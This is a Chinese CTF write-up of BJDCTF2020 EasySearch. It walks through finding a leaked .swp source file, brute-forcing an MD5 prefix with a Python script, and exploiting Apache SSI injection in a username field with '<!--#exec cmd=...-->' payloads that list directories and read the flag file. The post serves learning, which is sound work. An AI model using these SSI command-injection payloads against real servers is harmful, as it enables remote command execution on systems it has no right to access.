CTF | 3分钟
BJDCTF2020 EasySearch
四月 28, 2021
代码审计 WEB ssi漏洞

做了这题,发现自己太年轻,经验太少了,很多知识点都不知道。

打开靶机,两个username,它把后面那个password故意写成的username

F12、robots协议、抓包都没发现啥,SQL注入没试

题目名是EasySearch,应该是扫描网站,使用dirsearch扫描

第一个年轻

扫了看不出来哪些敏感文件或url,我只尝试了www.zip,某些常见url,还有看看有没有git泄露,发现也没有,我就没思路了

后来才知道还有index.php.swp这个文件

我们打开文件

第二个年轻

盲目代码审计,大家看看我认真的审计过程

其实根本用不到那么多,只有那一段密码MD5加密后等于6d0bc1是重要的

写python脚本找出字符串MD5加密后前6位等于6d0bc1的,脚本如下

python
1import hashlib
2
3for i in range(100000000):
4    a = hashlib.md5(str(i).encode("utf-8")).hexdigest()
5
6    if a[0:6] == '6d0bc1':
7        print(i)

找到的字符串如下

随便选一个输进去,抓包,放包

发现右边有一个Url_is_here: public/4038a37f9e5d90ca69ab73cf85ce1cbca92c6930.shtml,进入这个网页

第三个年轻

看见Client IP,以为需要我伪造IP地址,试了才发现没用

这题思路是利用“Apache SSI远程命令执行漏洞”,虽然不太理解,但跟着wp走

给username变量中传入ssi语句来远程执行系统命令

先查看当前目录<!--#exec cmd="ls"-->

并没有什么有用的发现,我们返回上一个目录看看

<!--#exec cmd="ls ../"-->

终于有了发现,进入那个flag_990c66bf85a09c664f0b6741840499b2目录

<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->

做题就像是在摸着别人的脚印在做,毫无成绩感,什么时候才能自己写出一道高质量的题目。最近想复现一些经典漏洞玩,也不知道怎么复现,poc扔docker?,找时间弄弄

基础太差了,缺少太多知识,发现不了敏感文件,摸不清题目意图,太多知识盲区。

好烦!